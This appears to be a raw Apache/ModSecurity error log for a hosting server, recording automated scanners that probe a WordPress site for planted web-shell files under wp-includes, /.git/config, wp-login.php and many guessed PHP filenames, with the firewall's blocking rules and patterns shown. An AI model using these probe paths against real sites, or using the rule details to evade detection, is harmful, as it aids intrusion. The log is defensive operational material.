[Fri Mar 13 05:12:17.926557 2026] [:error] [pid 61928:tid 61980] [client 136.144.19.229:64741] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/class-wp-translations-library.php"] [unique_id "abMsMQod66AHekJJZiogcQAAAEM"]
[Fri Mar 13 05:12:18.781057 2026] [:error] [pid 61929:tid 62010] [client 136.144.19.225:46715] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Fri Mar 13 05:12:19.045919 2026] [:error] [pid 61929:tid 62016] [client 136.144.19.225:46715] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/class-wp-translations-interface.php"] [unique_id "abMsMzGGsow2jgUjLtxLzAAAAIw"]
[Fri Mar 13 05:12:20.463035 2026] [:error] [pid 61928:tid 61984] [client 193.36.224.114:21709] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "abMsNAod66AHekJJZiogigAAAEc"]
[Fri Mar 13 05:12:21.557961 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.80:29667] [client 136.144.19.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "abMsNfONf1H0XrBFE4Ne7AAAAQQ"]
[Fri Mar 13 05:12:22.444822 2026] [:error] [pid 61927:tid 61960] [client 136.144.19.74:23219] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "abMsNrLkK584eBa2J7W-UQAAAA4"]
[Fri Mar 13 05:12:23.049375 2026] [:error] [pid 61929:tid 62017] [client 136.144.19.67:20633] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/aw.php"] [unique_id "abMsNzGGsow2jgUjLtxL3wAAAI0"]
[Fri Mar 13 05:12:23.894891 2026] [:error] [pid 61929:tid 62005] [client 136.144.19.64:51609] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "abMsNzGGsow2jgUjLtxL5wAAAIE"]
[Fri Mar 13 05:12:24.494161 2026] [:error] [pid 61927:tid 61949] [client 136.144.19.53:48745] [client 136.144.19.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "abMsOLLkK584eBa2J7W-bAAAAAM"]
[Fri Mar 13 05:12:25.087849 2026] [:error] [pid 61928:tid 61988] [client 136.144.19.72:63155] [client 136.144.19.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "abMsOQod66AHekJJZiogqQAAAEs"]
[Fri Mar 13 05:12:26.710352 2026] [:error] [pid 61928:tid 61991] [client 216.24.219.167:48269] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "abMsOgod66AHekJJZioguwAAAE4"]
[Fri Mar 13 05:12:28.126060 2026] [:error] [pid 61929:tid 62027] [client 136.144.19.58:56841] [client 136.144.19.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "abMsPDGGsow2jgUjLtxMEgAAAJc"]
[Fri Mar 13 05:12:29.757553 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.232:50969] [client 136.144.19.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/module.audio-video.riff-set.php"] [unique_id "abMsPfONf1H0XrBFE4NfJQAAAQc"]
[Fri Mar 13 05:12:30.657560 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.72:54507] [client 136.144.19.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "abMsPvONf1H0XrBFE4NfLAAAAQ8"]
[Fri Mar 13 05:12:31.216996 2026] [:error] [pid 61929:tid 62008] [client 216.24.219.212:32381] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "abMsPzGGsow2jgUjLtxMPAAAAIQ"]
[Fri Mar 13 05:12:32.896117 2026] [:error] [pid 62036:tid 62053] [client 136.144.19.60:38571] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "abMsQLce6g9kILuh_R7lsgAAAMo"]
[Fri Mar 13 05:12:34.527085 2026] [:error] [pid 61927:tid 61964] [client 136.144.19.73:37107] [client 136.144.19.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/module.audio-license.php"] [unique_id "abMsQrLkK584eBa2J7W-pwAAABI"]
[Fri Mar 13 05:12:35.625094 2026] [:error] [pid 61929:tid 62022] [client 136.144.19.75:39759] [client 136.144.19.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "abMsQzGGsow2jgUjLtxMUQAAAJI"]
[Fri Mar 13 05:12:36.159071 2026] [:error] [pid 44755:tid 44762] [client 136.144.19.225:31573] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "abMsRPONf1H0XrBFE4NfewAAAQU"]
[Fri Mar 13 05:12:36.956069 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.235:28701] [client 136.144.19.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/load.php"] [unique_id "abMsRPONf1H0XrBFE4NfhgAAAQc"]
[Fri Mar 13 05:12:37.517149 2026] [:error] [pid 62036:tid 62059] [client 136.144.19.69:62853] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "abMsRbce6g9kILuh_R7l6wAAANA"]
[Fri Mar 13 05:12:38.125934 2026] [:error] [pid 61927:tid 61953] [client 136.144.19.219:65131] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/admin.php"] [unique_id "abMsRrLkK584eBa2J7W-qgAAAAc"]
[Fri Mar 13 05:12:40.067538 2026] [:error] [pid 44755:tid 44771] [client 136.144.19.219:44789] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "abMsSPONf1H0XrBFE4NfpQAAAQ4"]
[Fri Mar 13 05:12:40.587313 2026] [:error] [pid 62036:tid 62062] [client 136.144.19.222:50007] [client 136.144.19.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "abMsSLce6g9kILuh_R7mDgAAANM"]
[Fri Mar 13 05:12:42.053591 2026] [:error] [pid 62036:tid 62067] [client 136.144.19.234:37539] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/input.php"] [unique_id "abMsSrce6g9kILuh_R7mHAAAANg"]
[Fri Mar 13 05:12:43.290037 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.236:57215] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "abMsS_ONf1H0XrBFE4Nf7gAAAQI"]
[Fri Mar 13 05:12:43.875775 2026] [:error] [pid 62036:tid 62049] [client 136.144.19.219:61937] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "abMsS7ce6g9kILuh_R7mMgAAAMY"]
[Fri Mar 13 05:12:44.472074 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.46:56883] [client 136.144.19.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/about.php"] [unique_id "abMsTPONf1H0XrBFE4NgAwAAARc"]
[Fri Mar 13 05:12:45.056658 2026] [:error] [pid 62036:tid 62044] [client 136.144.19.234:53369] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "abMsTbce6g9kILuh_R7mPgAAAME"]
[Fri Mar 13 05:12:46.180087 2026] [:error] [pid 61929:tid 62026] [client 136.144.19.77:22539] [client 136.144.19.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/wp-load.php"] [unique_id "abMsTjGGsow2jgUjLtxMmAAAAJY"]
[Fri Mar 13 05:12:46.749082 2026] [:error] [pid 61928:tid 61977] [client 136.144.19.74:37171] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "abMsTgod66AHekJJZiohHAAAAEA"]
[Fri Mar 13 05:12:48.140639 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.78:48553] [client 136.144.19.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/wp-load.php"] [unique_id "abMsUPONf1H0XrBFE4NgVQAAAQQ"]
[Fri Mar 13 05:12:48.719512 2026] [:error] [pid 44755:tid 44762] [client 136.144.19.222:54093] [client 136.144.19.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages-react.php"] [unique_id "abMsUPONf1H0XrBFE4NgZQAAAQU"]
[Fri Mar 13 05:12:49.949995 2026] [:error] [pid 62036:tid 62052] [client 136.144.19.55:25667] [client 136.144.19.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/font-editor.php"] [unique_id "abMsUbce6g9kILuh_R7mcQAAAMk"]
[Fri Mar 13 05:12:50.545600 2026] [:error] [pid 61927:tid 61961] [client 216.24.219.167:31113] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "windfarmcoolants.com.au"] [uri "/images/stories/themes.php"] [unique_id "abMsUrLkK584eBa2J7W-uwAAAA8"]
[Fri Mar 13 05:12:51.084943 2026] [:error] [pid 61927:tid 61959] [client 216.24.219.167:31113] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "abMsU7LkK584eBa2J7W-vgAAAA0"]
[Fri Mar 13 05:12:57.774529 2026] [autoindex:error] [pid 61929:tid 62027] [client 216.24.219.211:30121] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 07:08:07.614829 2026] [:error] [pid 62036:tid 62061] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Mar 13 07:08:07.772126 2026] [:error] [pid 62036:tid 62056] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Mar 13 07:08:08.050869 2026] [:error] [pid 62036:tid 62050] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Fri Mar 13 07:08:08.190478 2026] [:error] [pid 62036:tid 62066] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Mar 13 07:08:08.468293 2026] [:error] [pid 62036:tid 62045] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Fri Mar 13 07:08:08.622118 2026] [:error] [pid 62036:tid 62065] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Fri Mar 13 07:08:08.764327 2026] [:error] [pid 62036:tid 62063] [client 20.194.2.185:22875] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Fri Mar 13 07:08:09.055091 2026] [:error] [pid 62036:tid 62052] [client 20.194.2.185:22875] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abNHWbce6g9kILuh_R4WcwAAAMk"]
[Fri Mar 13 07:08:09.599831 2026] [:error] [pid 61928:tid 61985] [client 20.194.2.185:3453] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abNHWQod66AHekJJZio4ZgAAAEg"]
[Fri Mar 13 07:08:10.175876 2026] [:error] [pid 61928:tid 61986] [client 20.194.2.185:3455] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abNHWgod66AHekJJZio4agAAAEk"]
[Fri Mar 13 07:08:10.738420 2026] [:error] [pid 62036:tid 62056] [client 20.194.2.185:3402] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abNHWrce6g9kILuh_R4WdQAAAM0"]
[Fri Mar 13 08:29:34.779110 2026] [:error] [pid 61929:tid 62024] [client 195.178.110.159:45246] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "abNabjGGsow2jgUjLtx5TQAAAJQ"]
[Fri Mar 13 09:07:51.438582 2026] [:error] [pid 62036:tid 62065] [client 195.178.110.159:44370] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "abNjZ7ce6g9kILuh_R49-QAAANY"]
[Fri Mar 13 09:50:33.204436 2026] [:error] [pid 61928:tid 61995] [client 209.87.169.150:36691] [client 209.87.169.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.150, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abNtaQod66AHekJJZipPywAAAFI"]
[Fri Mar 13 09:50:33.208168 2026] [:error] [pid 61928:tid 61995] [client 209.87.169.150:36691] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 13 11:55:26.163416 2026] [:error] [pid 61928:tid 61978] [client 136.144.35.42:42109] [client 136.144.35.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.42, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abOKrgod66AHekJJZipjDQAAAEE"]
[Fri Mar 13 11:55:26.165752 2026] [:error] [pid 61928:tid 61978] [client 136.144.35.42:42109] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 13 14:50:11.062206 2026] [:error] [pid 9311:tid 9358] [client 130.195.250.87:3680] [client 130.195.250.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 130.195.250.87, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abOzo1TiCkU4QLmYwPn2tQAAAkc"]
[Fri Mar 13 14:50:11.067378 2026] [:error] [pid 9311:tid 9358] [client 130.195.250.87:3680] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 13 21:58:55.937789 2026] [:error] [pid 60497:tid 60540] [client 104.28.166.127:25021] [client 104.28.166.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "abQYHxjNYgapWlkb4li5JgAAA4k"]
[Sat Mar 14 01:09:31.541010 2026] [:error] [pid 47891:tid 47982] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sat Mar 14 01:09:31.749189 2026] [:error] [pid 47891:tid 47983] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Mar 14 01:09:31.958628 2026] [:error] [pid 47891:tid 47981] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Mar 14 01:09:32.166842 2026] [:error] [pid 47891:tid 47970] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Mar 14 01:09:33.686859 2026] [:error] [pid 47891:tid 47989] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat Mar 14 01:09:33.894684 2026] [:error] [pid 47891:tid 47983] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Sat Mar 14 01:09:34.103253 2026] [:error] [pid 47891:tid 47974] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat Mar 14 01:09:34.311934 2026] [:error] [pid 47891:tid 47980] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/nux.php
[Sat Mar 14 01:09:34.520147 2026] [:error] [pid 47891:tid 47968] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat Mar 14 01:09:34.728393 2026] [:error] [pid 47891:tid 47972] [client 4.204.233.55:49227] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
